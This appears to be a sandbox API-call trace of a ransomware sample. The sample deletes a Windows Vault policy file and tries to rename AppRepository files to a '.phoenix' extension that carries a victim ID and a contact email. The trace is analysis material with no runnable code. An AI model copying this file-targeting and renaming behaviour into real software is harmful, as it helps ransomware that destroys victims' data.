	[0261.914] WriteFile (in: hFile=0x240, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0261.923] CryptDestroyKey (hKey=0x151740) returned 1
	[0261.923] CloseHandle (hObject=0x2f0) returned 1
	[0261.923] CloseHandle (hObject=0x240) returned 1
	[0261.923] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol")) returned 1
	[0261.924] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0261.924] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.925] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2228224) returned 1
	[0261.925] CloseHandle (hObject=0x240) returned 1
	[0261.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd")) returned 0x20
	[0261.925] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0
	[0261.926] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd.id[b4197730-0001].[costelloh@aol.com].phoenix"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd")) returned 0
	[0261.926] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0261.926] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-shm" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd-shm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.036] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=32768) returned 1
	[0262.037] CloseHandle (hObject=0x2f0) returned 1
	[0262.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-shm" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd-shm")) returned 0x20
	[0262.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-shm.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd-shm.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.037] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Downlevel\\StateRepository-Machine.srd-shm" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\downlevel\\staterepository-machine.srd-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.037] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.037] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.038] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=28672) returned 1
	[0262.038] CloseHandle (hObject=0x2f0) returned 1
	[0262.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.039] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.039] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.039] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.040] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.040] CloseHandle (hObject=0x2f0) returned 1
	[0262.041] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.041] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.042] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2152) returned 1
	[0262.042] CloseHandle (hObject=0x2f0) returned 1
	[0262.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.043] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.043] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.043] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.044] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=20480) returned 1
	[0262.044] CloseHandle (hObject=0x2f0) returned 1
	[0262.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.045] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.045] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.045] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.045] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.045] CloseHandle (hObject=0x2f0) returned 1
	[0262.045] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.046] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.048] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2368) returned 1
	[0262.048] CloseHandle (hObject=0x2f0) returned 1
	[0262.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.048] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.048] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.048] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.049] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=65536) returned 1
	[0262.049] CloseHandle (hObject=0x2f0) returned 1
	[0262.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.049] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.050] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.050] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.050] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.050] CloseHandle (hObject=0x2f0) returned 1
	[0262.050] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.050] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.053] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1844) returned 1
	[0262.053] CloseHandle (hObject=0x2f0) returned 1
	[0262.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.053] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.053] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.053] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.054] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=16384) returned 1
	[0262.054] CloseHandle (hObject=0x2f0) returned 1
	[0262.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.055] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.055] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.055] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.055] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.055] CloseHandle (hObject=0x2f0) returned 1
	[0262.056] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.056] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.058] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2928) returned 1
	[0262.058] CloseHandle (hObject=0x2f0) returned 1
	[0262.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.058] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.059] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
